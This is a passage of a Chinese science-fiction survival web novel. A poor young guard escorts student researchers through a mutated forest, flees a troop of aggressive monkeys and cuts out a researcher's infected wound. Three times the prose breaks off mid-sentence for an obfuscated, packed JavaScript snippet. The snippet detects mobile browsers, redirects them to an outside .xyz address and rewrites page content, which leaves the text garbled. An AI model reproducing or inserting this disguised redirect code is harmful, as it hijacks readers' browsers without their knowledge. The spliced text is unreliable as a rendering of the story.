这死了还找担保人要债的规矩实在天理难容,那个学生开出一天三万的高价……就算一个人一万,这乌泱泱五十号人,两天也得支出百万积分。这买的哪是护卫,分明是这帮忙命之徒的命! 路名长叹一口气。 如果这趟顺利,少说有六万积分进账。那颗最大最亮的赤晶恐怕就值这个价。如此算来,她白捡一条小命。 就是不知黎叔后来怎么样了?陆张醒来后有没有安排人把他送下山?山洞里没有时间,黎婶知不知道山上出事了?路名靠在窗户上,脑子晕晕的,像散黄的鸡蛋。她第一次对那个贫瘠荒凉的地方生出一点不该有的念想。 雨连着下了两天,路名就在车上睡了两天,饿醒了就睁眼起来喝一口营养液,保证基本的生命体征。 没有晕车药,她睡的也不安稳,经常腿抽筋,反反复复好几次后,她眯着眼睛都能摸到抽筋的地方,熟门熟路按摩一会儿,继续睡。换班的司机都见怪不怪。 第三天早上,天空放晴,两辆车经过简单休整后重新启程。 司机轮班换到那个大哥,他爬进车厢,路名正好喝空第三支营养液,伸着舌头舔瓶口的残余。 “还有一个小时就到了。”司机瞄一眼路名,见她又要睡去,稍稍提高声音,“到那儿不会休整,直接进去,你要不再喝一支营养液?” “我可以下车喝。”路名坚决不浪费一滴营养液。 司机大哥从抽屉里拿出一面圆镜,镜子背面早已磨光,有几块红泥粘在上面,隐约能看出一点形状,“你照个镜子看看。” 路名接过镜子。 镜子里的她和那天在旅社水池上看到的一样,苍白,瘦弱,脸上有一些细小的伤痕,似乎是旧伤,丑是丑了点,不妨碍活着;而现在,她比之前的样子更甚,双眼无声,嘴唇发白,头发黄黄的粘在头上,几天没洗,油了,一副乞丐打扮。 路名将镜子还回去,摇下车窗,对着后视镜重新扎个马尾,再打开一支营养液,一股脑儿灌进去,晃了晃空瓶,才盖上盖子,塞进包里。 高端牛马得有高端的样子,一天三万,她可不能碍雇主的眼。 做完这些,路名把包从怀里放到旁边,开始检查包里的东西,重新归置。一旦遇到危险,第一时间抽出武器,保住小命,才是她接下来三天最要紧的事。 路名先确认背包拉链的位置,根据开口调整长匕首的方向,然后是短匕首和盾牌。 盾牌之下,光脑之上,是剩下的十六支营养液。 她将背包靠在一边,开始卷裤腿。也不知道是太阳太大,还是两天一夜的路程把她带到更远的地方,她感觉这里的体感温度比之前高了不少,空气更干燥。 裤子很薄,三两下卷到大腿,路名突然发现大腿上的条条白色纹路,像板块运动割裂的海沟。 这是……生长纹? 8. 泰林(1) 卡车逐渐提速,颠簸到令人发指。 路名瞄一眼表盘,车速直奔三百。她暗自震惊司机的抗震性,干脆闭眼摆烂。 十分钟后,卡车在一片茂密的树林中停下,路名慢慢睁开眼睛,听到司机大哥在和前面越野车上的宋何正沟通。 ——他们遇到一片乱石。 大小不一的石块堆在一起,压垮灌木,撞断幼小的树枝,把细瘦的树干生生撕开一道口子,分泌的枝叶凝固在伤口上,一个个大如拳头的蚊蝇趴在上面贪婪的吸食。 关闭通讯器,司机大哥停车熄火,“下车吧,前面走不了。” 路名摇下车窗,空气又热又湿,还带有一种隐秘的腐臭味,很闷,她探出窗外,发现这片树林极高极大,阳光穿过茂密的树叶,只能投下丝丝缕缕的金线。 “我们不是要去滩涂吗?”她听余震说过,上车前,宋何正也说过。 但这里,显然是一片树林。 “前面是座矮山,从旁边绕过去就到了,天气好走矿洞更快。啧,鬼知道这些石头是从哪儿来的,问前面那个人,他没带无人机,也不知道这片石头有多长,这车我改装过,能走,但经不住长时间压在乱石上。所以,你们下车徒步过去是最妥当的。”司机大哥边解释边爬上靠背,用力拍。 后面的车厢传来窸窸窣窣的动静。 他伸手从上方拿出一个箱子,打开盖子,露出整整齐齐六十支营养液和八个面包,六瓶水。 “我们要走多久?”路名仅剩十六支营养液,如果徒步时间过长,即使侥幸活下来,她也没有足够的营养液回到一号基地。 “快的话,一天就行。”司机大哥把这些物资分成两份,另一份是换班同事的。他突然意识到自己忘了一件事,转过身,略带歉意地说:“这片林子大进化之前就存在了,树高,没有阳光,太阳能板用不上,你的光脑我没办法帮你充电。” “没事,回去充也一样。”相比之下,路名对“大进化”更感兴趣。 她终于找到可以解释“赤晶”、“猎人”、“一号基地”这些陌生的东西的存在——大进化。 “邦邦邦~”车门被敲得震响,路名低头一看,是那个学生,对视一眼,这家伙毫不客气地命令道:“下来。”路名从善如流快速下车,多停顿一秒都是对三万积分的蔑视。 大老板来了,大进化什么的都得靠后站站,她得打工生活。 “跟我过来。” 学生把她带到越野车附近,除了宋何正一个熟人,那里还站着三个一身黑的高个男人,远远看一眼就能感受到精悍的气势,和宋何正他们完全不同。他们应该就是传闻中的见习猎人。 见习猎人两高一矮,中间那个稍稍矮半头,也更壮,他先开口:“白旗亭,这就是你说的红月工会的那个人?” “你也不认识?”白旗亭略感惊讶。 原来这个学生叫白旗亭。 路名抬头,视线扫过三人,吐出三个字:“你们好。” “没听说红月工会在无证民居捞人。”左边的瘦高个小声嘀咕,每一个字都能清晰地落到在场六人耳中。 路名低眉顺眼,面无表情,就当自己没听见。自尊是什么,真诚是什么,她现在活着都困难,还顾得上这些?只要熬过这几天,几万到手,她一回去立马办理居住证,拜拜屁股去下城区奋力拼搏,攒攒资本,说不定还来得及去学校混个毕业证。 “我们测过……”宋何正刚想解释,话被打断。 中间那位见习猎人侧过身,目光不屑地扫一眼三人,最后落在弱不禁风的路名身上,“让她跟在我们后面,正好领着后面一帮废物。如果你们做不到,我们三个现在就回去。” 宋何正暗暗咬牙,和白旗亭对视一眼,不得不答应。三万和六万,他还是分得清的。 最后,路名喜提“中间人”资格,不远不近跟在后面摸鱼。 没走多远,余震就察觉异样,从大部队后面找过来。这一路动静不小。他似乎认识这里的大多数人,边往前赶边打招呼,笑嘻嘻地说上两句更是家常便饭。一凑近,他就问:“你怎么在这?他不是让你跟紧点吗?” 路名把刚才的事捯饬一遍,最好搞个噱头,顺便问问大进化的事。余光扫到这家伙满手的泥,上衣下摆和膝盖以下都沾上不少泥,她的目光略带嫌弃。 她朝旁边让了让,“你摔土坑里了?” “找到一点东西。”余震从兜里掏出一根吊坠,拿在手里凑过去晃了晃。 路名嫌弃:这家伙是故意的吧? 看吊坠的模样,余震大概把这东西擦过很多遍。指甲盖大的吊坠上满是指纹擦拭后的纹路,隐约能看出里面有个图样,水滴形吊坠周围一圈白色花瓣装饰,缝隙间嵌满泥垢。 “你找这个干什么?”路名满脸困惑。 余震:“……值钱。” 好正当的理由,穷鬼路名无力反驳,甚至还有点羡慕。她刚想起个头,说说刚才的事,顺便打听一下见习猎人和白旗亭,话头又被摁回去。 “其实,这东西还有一个重要的作用。”余震收起吊坠,脚步加快几分,刻意和后面的人拉开距离,“这些土是松的,石头也是,说明这些石块滑落没多久我们就到了。我收到消息,一个星期前,这里来过一批护卫队,带头的不是毕业生,而是一名教授。现在看,那帮人应该是全军覆没了。” 路名低头思索这番话的意思。 她不知道,此刻她的每个表情变化都被余震仔细端详,深度解析,就像对待一个审讯的罪犯。 “所以,你要卖掉人家的遗物?”路名恍然大悟。 余震:“……”这家伙…… “我支持你。”路名一掌拍在余震肩膀上,用力量表明自己的态度,“资源是流通的,你这样做,环保不浪费,勤俭节约,真是优良作风,我要向你学习。” 余震轻挑眉毛:“……你想加入这份事业?” 路名把余震拉近些,什么事业,事业都是多人成团,他们两个人的事怎么能算事业,撑死了也就是个小本生意,赚点小钱。 “三七分成吗?” 余震无语,叹气,拍掉肩膀上的手,“开玩笑的,哪有那么容易就能找到。要真有,估计都埋在石头缝里。我这是运气好,眼睛尖,才找到一个。你别费大力气找,万一队伍加速或者半路出现个红兽,要跑的时候力气都用没了。” 路名真心觉得这家伙唠唠叨叨,跟个老妈子似的。 她略感不爽地“啧”一声,找不到反驳的理由,干脆说起另一件事,“你知道白旗亭来这儿做什么,还有那几个见习猎人,看着很牛逼啊。” “哦~”余震怪腔怪调地问:“他们这么快就吵架了?” 路名:“吵架?” 怎么把吵架这种事说得这么理所当然? 作为一名好好女士,路名学生时代收到最多的评价除了“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635342|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人”,就是“好脾气”。彬彬有礼的行事作风,温文尔雅的说话态度,是她行走在外的一张名片。谁不知道道院乌蒙师兄有个好脾气师弟。 她实在不理解一种良性、简单的关系里为什么会轻易出现矛盾。 余震灵活地抖了抖蚯蚓眉毛,小声问:“你跟着红月工会的人,不知道见习猎人和那些预备研究员、饲养员一向不对付?” “怎么不对付?” 路名对见习猎人的见解只有“能打”,对饲养员,她有种同病相怜的哀叹,至于和白旗亭一道的预备研究员,她仇富、眼红,更清楚这帮人都是脆皮,遇见危险估计跑都跑不了。预备研究员和饲养员硬刚见习猎人,怎么看都是螳臂当车,以卵击石。 经过吊坠一事,余震对这小姑娘的猜忌减少几分,又看她一脸茫然,便好心解释一番: 自从一号基地建立,权利一分为二。以未来集团为首的养殖集团掌控一半,它们联合建立研究院,赋予其一部分权利,至于剩下的一半,由猎人公会把持。两大势力每年都会在各种事情上发生摩擦,这种风气也带动下面的预备研究员、预备养殖员和见习猎人。两大势力联合建立养殖学院和猎人学院,共用一个系统。 养殖学院最顶尖的一批学生进入研究院。 在毕业前,预备研究员需要离开一号基地,寻找材料,研究出成果,作为毕业证的敲门砖。他们毕业难,学习也难,课程多到令人发指,发烧生病直接打一剂退烧药、一剂营养剂,头顶退烧贴抢占教室第一排。 猎人学院的学生则按学分毕业,攒够大量的学分,才能毕业,接一次研究员的任务能让他们省不少功夫。 本是一拍即合的好事,但研究院的人爱静,发散思维强,好奇心更强,一旦找到感兴趣的东西就能蹲在原地研究小半天,有时叽里呱啦说一堆,或者就地点火,不惜惹来小型红兽,大胆到令人发指。其近乎神经病的操作威名远扬,不仅挑战见习猎人的职业素养和生存本能,还给这帮人添不少麻烦。 一旦进入新的环境,两种全然不同的思维系统必然会发生碰撞。 “刚刚那三个见习猎人让我到中间来,白旗亭和宋何正也没说什么,他们可能认识,关系挺好?”路名仔细回想了一下当时两拨人的语气,感觉气氛稍显冷淡,没有余震说得剑拔弩张。 余震耸耸肩,轻笑一声,“谁知道呢?” 路名闭了闭眼,真心祈祷:“希望不要吵架。” 一个队伍里不能有两个声音,她只想踏踏实实挣钱、平平安安回基地。 正说着,前方五米传来一声粗犷的怒吼:“白旗亭,你给我回来,那里不能去!宋何正,你跑什么?别跑!停下!” 是“大壮哥”的声音。 路名心里一咯噔,连忙撒开腿往前跑,拨开比她矮半头的灌木丛。 不远处,五人小队正在你追我赶,不是传来撕心裂肺的对骂,大致意思是方向没谈妥,两位预备研究员直接跑路,逼得见习猎人不得不妥协。一眨眼的功夫,“大壮哥”窜得极快,一把按住宋何正,反绞双臂,将人摁在地上;两个瘦高个一溜烟窜进灌木丛去追白旗亭,半晌没动静。 余震没想到读书读傻了的预备研究员不仅是理论派,还可以是行动派。 路名皱紧眉头,察觉到一丝不对劲:两个靠体力吃饭、甚至可能有大进化加持的人,比如支飞羽,还能跑不过白旗亭,一个日均运动量被抢位置决定的人? 9. 泰林(2) 白旗亭或许是书呆子中的异类,但路名现在没时间细究。 “大壮哥”一脸杀气地快速走过来,虎虎生威,令人心悸。他右手拖着宋何正,一米七的大男人在他手里跟被夹住翅膀的公鸡似的,只能发出一点疼着了的哼哼声,两只眼睛恶狠狠地斜瞪着罪魁祸首。 “你们,看着他,跟上来。”丢下八个字,“大壮哥”掉头就跑,看方向是去追白旗亭。 余震接过宋何正,从包里取出一根绳子,想把这位腿脚不快的预备研究员拴在后面,“他们。”话没说完,他的后颈被一只细长的手掐住,用力往下摁。“咚~”撞碎的泥块溅到他脸上,他闷哼一声,甩掉鼻子里的碎土。后颈的禁锢消失,他眯了眯眼睛,终于看清嵌在泥土里的黄色果实,果实四周圆润,脐部凹陷,像个爱心。 偷袭? “我们被包围了。”路名望着三米外单手挂在树杈上的棕色猴子,冷静陈述这一事实。 “是红颜猴。大进化后出现的新物种,群居,有很强的攻击性和领地意识。”宋何正三下五车二解开没打结的绳子,打开光脑,对准那只猴子。 路名瞄过来一眼,微微惊讶,“你的光脑能射击?”带麻醉嘛? 宋何正:? 这怕不是个傻子。 他轻哂道:“想什么呢?这可是红颜猴,研究的好材料。这种猴子在大进化的时候有举族迁徙的能力,脸颊上的两抹红色和它的攻击力成正比,要是能弄到它的粪便就好了,可以探索一下这片泰林的植物种类,不知道这家伙有没有幼崽,抓进实验室系统繁殖的话,说不定可以找到他们在漫长迁徙过程中的进化的蛛丝马迹。” 路名微微朝旁边让了让,和这个疯子保持距离。 但凡他多看一眼,不难发现那只红颜猴双手指甲修长而锋利,长长的牙齿凸出来,齿缝间还有几丝血色,尤其是那双眼睛,清澈的黄色,却没有神韵,好像一个邪恶的木偶挂在树上。 路名卸下背包一侧肩带,轻轻拉开拉链,伸手探进包里,握住长匕首,缓缓抽出。 她紧紧盯着那只猴子,心里阵阵发紧。如果她听觉迟钝些,听不见那个种子破空的呼啸声,余震绝对当场重伤,在这片森林里,医疗物资约等于零,重伤即死。 行动迅速,投掷精准,大进化之后,猴子的攻击力更强了,峨眉山的泼猴来了都得喊大王。 窸窸窣窣的声音越来越响,其中混杂些陌生的枝叶晃动声。路名循声环顾一圈,落在后面的五十号人终于稀稀拉拉赶上来,与此同时,大批红颜猴也围聚过来。他们,被包围了。 路名和余震对视一眼,背对背,快速寻找突破口。 “是红颜猴!”队伍里有人认出来,高声尖叫,囫囵解释几句。 很快,枪声陆陆续续响起。 猴子们散作一团,却又行动有序,一个个大小不一的种子从高空投射下来,每一次都能精准打中人体,溅起一抹血色。 五十号人的攻击力不容小觑,哪怕这帮人枪法稀烂,命中率极低,射中的机会也随着基数扩大而增加。几乎是大面积开枪的瞬间,几只猴子从树上掉下来,灌木丛微微晃动,要么重伤,要么濒死。 路名揪准机会往外冲。 她可没枪,一把枪六万积分,她当初看一眼标签掉头就走,压根没想过买一个;她这运气也烂得要死,大概是前半生顺风顺水,现在来还债了。 总之,她赌不起。 突破口和白旗亭跑路的方向偏差不多,此时不走更待何时! 还没跑几步,一股力量拽住路名的胳膊,眼见衣服要撕破了,那人直接抓上肩膀,指甲快要扣进肉里,疼得她龇牙咧嘴。 路名恶狠狠瞪回去:? 宋何正一脸坦荡地指着灌木丛:“那里掉下一只小猴子,还有几只大的,去捡过来。” “我们要掉队了。”激烈的枪声中,路名也不清楚自己说的话这个疯子听不听得见。她快速指向枪声最密集、猴子的惊叫声最响的地方,余震枪法不错,在一帮菜鸟中间以异军突起之势赢得大部分人的关注,在他的带领下,密集的火力快速开出一个突破口。 一旦他们顺利离开,剩下的猴子就会把怨气撒在他们两个掉队的身上。这个家伙是读书读傻了吗? 宋何正转身指向灌木丛,对渐渐稀疏的枪声置若罔闻,他的目标很明确: 他要猴子的尸体。 路名瞬间理解“大壮哥”痛骂白旗亭的心情,当即掏出匕首,毫不犹豫抵在宋何正的手腕上。这个疯子再不松手,她不介意给他放放血。 “一天三万。”宋何正的嗓音被枪声掩盖,路名读出嘴型,气笑了。 真是钱难挣,屎难吃。 就在这时,一道破空声在枪声的缝隙里断断续续响起,路名心里一咯噔,握刀的手凭直觉做出反应:硕大的种子穿过锋锐的匕首,一分为二,一半擦过路名的肩膀,割下一道深深的血痕,那只抓住她肩膀的手也中招,不得不松开,另一半射中宋何正的镜框,镜片粉碎,镜框变形,在脸上留下两道血痕。 路名快速窜进灌木丛掩护,顺便带上“活盾牌”宋何正。 在这个时代,钱比命重要。 灌木丛很高,藏不下两个人。路名借几缕微弱的光三下五除二斩断一条藤蔓,将一大一小两只红颜猴的尸体绑在宋何正身上,带着这家伙冲出灌木丛,直奔白旗亭离开的方向。 “等一下,还有。”宋何正被砸中,痛得闷哼一声,不说话了。 路名哪顾得上他,发了狂的向前冲。 抢走猴子的尸体就像扎入猴群神经的一针兴奋剂,在连续几声尖锐的猴鸣后,树叶晃动的沙沙声迅速变成大量的树枝被扯下、树干被利爪抓开的刺耳声,她不得不加快速度,跑得两腿都快失去知觉,只剩下求生的意志在支撑,饶是这样,她的手肘、膝盖、大腿等部位还是伤痕累累。 跑到拐弯口,即将进入两米高的树丛,路名故意拐大弯,差点把宋何正甩进树丛里。 她余光朝后瞥一眼。 亲密无间的两点黄光犹如夜幕中的繁星,此起彼伏出现在树叶间,那帮猴子正气势汹汹地追过来。 宋何正那个破破烂烂的镜框不知道掉哪儿了,脸上都是血痕,猴子怒火中烧投来的果实大半都被他挡住。他像只风筝挂在路名身后,只能被动奔跑,身体的灵活性大大降低,不少果实都没躲过去,手臂、大腿和腰侧,这些路名能瞟到的地方不只有深深的伤口,有些果实甚至嵌入肉里,随着跑动的颠簸不断摩擦。要不是起伏的胸膛和急促的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635343|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,路名真心怀疑后面的“血人”被折腾死了。 不过…… 在进入隧道前,路名的视线向下扫过那两只死猴子。为了抓紧它们,宋何正一只手紧紧箍在胸口,另一只手抓紧藤蔓的绳结出,青筋暴起,看起来非常有生命力。 在漆黑的隧道继续跑了两三公里,路名减缓速度,听脚步声确认猴群没有追来。 她一停,宋何正立马歪倒在墙角,抱着两只猴子“呼哧呼哧”喘气,时不时转过身干呕,连续几次,差点儿把胆汁吐出来。 路名站在隧道中间,道路的一端是凶神恶煞的红颜猴,另一端藏着猴群不敢追进来的秘密,无论是哪个方向,她都不敢冒险。冷不丁踩到一块份量不小的石头,她一脚把石头踢到墙壁对面。 “叮叮咚咚”的声音渐渐变小,直到隧道再次陷入沉寂,只有呼吸声。 路名背靠墙,从包里拿出一支营养液,仰头灌进去,抬手把空瓶扔到对面,这一次过了很久才传来细小的瓶碎声。 ——这里不是矿洞,是另一条路。 “喂~”宋何正发出一点气声,摸索着拍了拍路名的手背。 他流了不少血,体力耗尽,明明两眼漆黑,却仍旧感觉天旋地转,眼冒金星。他的体能已经进入极限,必须停下来休息,包扎伤口。突然,一点冰凉的液体滑过喉咙,味道一点都不好,卡嗓子,像粉末泡的水。 是最低等的营养液。 宋何正只在书里见过对这种营养液的描述,因为制作技术粗糙,味道必定不如人意。 这是他第一次喝,入口就发现这种营养液不仅口感不好,效果也不好,他喝了不少,只感觉到丝丝甜味儿,身体没有任何起色,按照一瓶高等营养液算,两三口就够他缓过来,一整瓶足以恢复一半的体力。 试着喂了宋何正半瓶营养液,路名心疼地将瓶盖盖起来,放回包里,等营养液发挥作用。 一分钟后,宋何正爬起来,脱下身前背后的连体包。 他拆开背后的包,“滴滴答答”一串水淌下来,散发出阵阵香气。有营养液碎了。这让他本就糟糕的心情更加雪上加霜。他干脆拆下背包,把碎掉的两瓶碎片倒掉,背包倒扣,沥干,再抹黑数剩下的。 还剩二十九瓶。 路名闻着这香味,有点饿。这是高级营养液特有的味道,上次闻是在山坳坳的帐篷里。 听瓶子滚动的声音,她借一点点反光的轮廓大概数了数,发现这家伙看着体格不大,竟然能背二十七瓶以上的营养液。那个包的材质更加惊人,能在猴群的围攻下护住这么多瓶子。 “帮我包扎伤口。”宋何正从前面的包里取出药和碘伏棉签,递给路名。 路名没动。 她痛失半瓶营养液可不是做慈善的。照猫画虎学宋平讨价还价后,她收下两瓶营养液,开始帮宋何正清理伤口。 宋何正这人吧,讨价还价时憋不出几句,拔掉果实清理伤口的时候只哼哼两声,路名本就看不见,手下没轻没重的,稍不留意,人直挺挺趴在墙上,她推了推没反应,这才发现这家伙晕过去了。 路名:“……” 一阵微风吹过,路名逆风看向入口,借光看到几缕金色的毛飘在空中,悠悠然然。 哪儿来的毛? 10. 泰林(3) 路名手口鼻齐上阵,三两下用气流把金色的浮毛赶走。 她手上湿淋淋的全是血,一直到小臂上半截,现在沾点毛,怪恶心的,像菜市场杀鸡不戴手套的。 赶走不明物,她继续忙活。 宋何正的伤口分两大块。擦伤集中在腰侧,只有三个果子浅浅勾进肉里,跑的时候颠掉了,肉软软的垂下来,血泡湿了侧边的裤子;果子集中扎在肩膀和大腿,不仅多,还难拔,路名每次动手都有种剜肉的感觉,血腥味扑面而来,好在次数多了就麻木了,她努力幻想自己是个杀鸡的。一切都是为了挣钱,一切向钱看齐。 用力拔掉最后一块,宋何正突然轻微抽搐起来,伴随着嗯嗯的痛苦呻吟声,这家伙似乎醒了。 路名拧开双氧水和生理盐水,弹飞瓶盖,瓶盖撞在墙上,“噗”的一声,听声音疑似掉在某人的头上,瓶盖一路咕噜噜滚到地上。 路名:“……”这家伙的运气也挺背的。 她佯装自己什么也不知道,清了清嗓子,“醒了就别装死,休息一下,我们要赶紧离开这个地方。你们要去的那个滩涂,可以从一条矿洞过去。我们应该是走了岔路。其他人已经从另一个方向离开。喂,醒醒。” 宋何正脑子发懵,不想说话。 路名不再喊他,手腕一抖,双氧水倒在伤口上。宋何正嗷嗷叫起来,痛得发抖,“噌”一下,双手双脚并用,攀住墙壁就想往上爬。路名一脚踩在他的尾椎骨,用力往下按,右手倒下生理盐水。宋何正叫不动了,开始呜呜咽咽的哭。 生理盐水流的差不多了,这家伙也老实了,时不时抽搭两下。 路名一手拿绷带,一手抬起他的大腿,准备包扎伤口,这姿势……略感尴尬,她打心眼儿里觉得下次可以弄完伤口再把人喊醒。 看起来,预备研究员真的很娇弱。 以防这家伙在包扎的时候突然跳起来,路名先一步按在他伤口附近。只是,手里的触觉怎么都觉得不太对,怎么毛乎乎的、鼓囊囊的,还有种不平整感,起鸡皮疙瘩? 她顺着伤口附近摸了摸,发现只有伤口附近的皮肤出现易变,往上往下都是正常的皮肤触感。 “你摸够了没有?”宋何正咬牙问。 真没想到,这家伙竟然是个流氓,哼,果然是无证民居的人,心理十个有九个都出问题,亏得红月工会还看好她,给她用药,真收进去了就是个祸害,我呸。 宋何正暗搓搓准备一回去就揭发这家伙的狼人行径,却听“咚”一声,绷带被扔到一边。 紧接着,大腿上原先包扎好的绷带也被拆开,动作之迅速,他感觉伤口附近一些皮肉都被扯起来,痛得他脑子发懵,神游之际甚至怀疑这个祸害有什么听心声的异能,才得以被红月工会看重。 “你干什么!”他又惊又痛,来不及骂人,手被拉着摸到自己的伤口。 ——这不是人的皮肤! 宋何正心里一咯噔,手臂的长度和方向明明确确告诉他,这是他的身体。他被感染了。 如果有手电对准伤口附近的皮肤,他就能看到血管在表面伸缩扩张,如同呼吸一般井然有序,紧接着,细胞分裂会被他的动态视觉捕捉到,他的身体会像个变质的果子,损坏的部分迅速扩张,直到将他的身体被新的细胞完完全全改造成另一副样子。即使看不到,他也能凭借实验室的经验预想出来。这是进化,让自然界的生物进化到人类无法匹敌的奇迹!但是,人类被奇迹抛弃了。植物、动物都可以通过进化重获新生,唯有人类不行。 实验室测试过人体从一个被感染的创口到神经被破坏、完全丧失理智的时间——五分钟。 这是他取样的唯一机会。 路名不清楚宋何正身体的变化,强烈的直觉告诉她,宋何正现在很危险,这种致命的危险令她毛骨悚然,但她只能尽一个保镖的职责,将伤口交给高材生。 她在等下一步指令,立即返程,还是,有其他方法救命? 宋何正快速打开另一个包,取出小刀和玻璃片,正如实验室里实操过无数次,他屏住呼吸,将大脑中所有的感情都屏蔽,在黑暗里调整刀口方向,准备割开伤口附近病变的皮肤。 刀口逼近。 黑暗里,无人看见那层病变的皮肤突然鼓起一个小疙瘩,顶部内陷,细胞蠕动着分泌一些物质。 刀口一滞。 路名紧紧握住伤口,死活不松手,“你想死吗?” “我要取样。”宋何正已经在尽力压制自己的情绪,语气中还是有几分火气。摸黑操作不比寻常,不能有一丝一毫差错。任何一丝感情波动都可能让刀口的落点出现偏差,稍有偏差,他就可能延毕。 路名攥紧刀柄,心里有些郁闷。 要不是看到两片玻璃片,她还真以为这个柔弱的预备研究员会有断尾求生的勇气,万万没想到,这家伙在这么危险的情况下脑子里想的竟然还是实验,不愧是万里挑一的高材生,读书读疯了吧。 病变的皮肤鼓起数个小疙瘩,如同沸腾的热水,不断鼓胀。 宋何正骤然感觉大脑剧痛,像被人咬了一口,一口接一口,顿时失去身体的控制权。 路名揪准机会夺过匕首,手起刀落,两刀割开那块异常的皮肤,鲜血喷涌。有些小血珠喷到她脸上,试图渗入皮下组织,眨眼间被脸上的脂肪溶掉。她看不到这些,只觉得脸上微微发痒,一会儿就没事。 路名直接用匕首挑起那块异常的血肉,一点儿微弱的腐蚀金属的声音在黑暗中响起,很快又被宋何正的惨叫声盖住。 她把匕首斜靠在石壁上,拿起没盖盖的生理盐水,迅速倒在伤口上。 “别倒了!”宋何正痛得哭出来,一咬牙,磕磕绊绊说出几个字,“我被感染了,这些都没用。”……离开基地,医疗物资更加稀缺,这家伙倒他的生理盐水跟天上下雨似的,下手没轻没重,真没素质! 靠在石壁上喘两口气,宋何正缓过劲儿,又指挥路名从包里拿出一剂药剂,就着刚刚消过毒的地方扎进去。 打完这一针,他跟大爷似的抬起腿,让路名给他包扎。 路名瞟一眼包旁边一大一小两个凸起的黑影,悄悄绕到另一边。那是两只红颜猴的尸体。 她刚刚分明听清楚宋何正说他被感染了。 人类被感染的方式,她目前只知道高浓度红兽血,有红兽血就有红兽,眼下这个山洞里除了他们两个大活人,就剩那两个被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635344|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋何正揪了一路的红颜猴。 毛?猴毛? 路名突然想起刚刚看见的金色浮毛,目光瞟向一侧,微微皱眉。树林里光线少,绿叶纵横,她之前以为红颜猴的身体是棕色,现在想一想,也有可能是金色。人的视觉受到阴影和树木的影响,的确会产生些许色差。 …… 另一边,白旗亭被两个高高瘦瘦的见习猎人逮住,困在石墩上。 两个见习猎人一左一右坐在石头上,长腿放松,微微仰头。森林里阳光稀薄,空气湿润,有一股不算难闻的气味。 没过多久,“大壮哥”慢悠悠晃过来。 “起开。”他推一把白旗亭,将人推到地上,自己霸占最胖的石墩。 白旗亭起身拍拍屁股上的灰,也不计较,往来处看了两眼,算算时间,有点不放心,“你们都来了,没人引路,那帮人走岔了怎么办?” “那里面有几个机灵的。”“大壮哥”掸去裤腿沾染的果渣,对几个深浅不一的印不太在意。 看他这幅随意的样子,白旗亭心里有点冒火:“有几个?从那儿走过来快的话也得一刻钟,从被感染到感染特征出现,最短也得五分钟,他们又不像你们身强体壮的,万一没走到这半路死了呢?” “死了就死了。”“大壮哥”眼睛微眯,准备小憩一会儿。 走到这儿,他的学分算是到手一半,只等两个预备研究员采集完样本和数据,他们安安稳稳将人护送回去。银货两讫,互不相欠。 “那宋何正怎么办?他人呢?” 白旗亭冷声指责:“你们就不该把宋何正带回去,我和宋何正同时跑,那些人跟在后面懒懒散散不成形,根本不会察觉到异样,估计连我怎么消失的都不知道,八成以为我死了。” “怎么不会怀疑?你当无证民居的人都是傻子是吧?你以为就你们毕业难,基地外生存率低是吧?”“大壮哥”手托腮,抬起一只眼睛,瞄向隔壁,“徐铭,给我们聪明绝伦的白研究员科普一下无证民居的基本数据,几个数据就行。” 徐铭长舒一口气,微微侧过来,露出豁口的左耳,他缓缓说道:“排除那些女人,无证民居每个月在基地外的死亡人数达到五万,尤其是你们的毕业季,这个月的死亡人数至少十三万。” “那些女人能生啊。”白旗亭不以为然。 谁不知道基地鼓励生育,无证民居的生育率看一眼能吓死人,说是造人加工厂也不为过。 “多亏能生,否则不仅你毕不了业,白研究员,你以后的学生也难毕业。”徐铭轻笑一声,讽刺道:“一个孩子从嘎嘎落地到身体健全被你们骗来做实验体,至少要十六年,中间得排除流感之类的疾病,毕竟,他们穷得饭都吃不起,更买不起药。从这种环境脱颖而出的人,有着比你看数据更难想象的求生意志。白研究员,这个基地里不只有你们研究员一伙聪明人。” 白旗亭的脸一阵红一阵白。 他不想和这些用拳头说话的人辩驳。数据足以说明一切。哪怕无证民居一个月死十五万,生育率突破二十万也是轻轻松松,三十万更是手拿把掐,要多少人没有,至于这么麻烦。那些人哪能比得上宋何正,一个即将毕业的预备研究员! 11. 泰林(4) 路名蹲在两个大包前,根据记忆给宋何正打下手。 十分钟前,她委婉提醒宋何正山洞里有金色浮毛,这家伙似乎一点也不惊讶,躺在原地跟死了似的,一动不动。 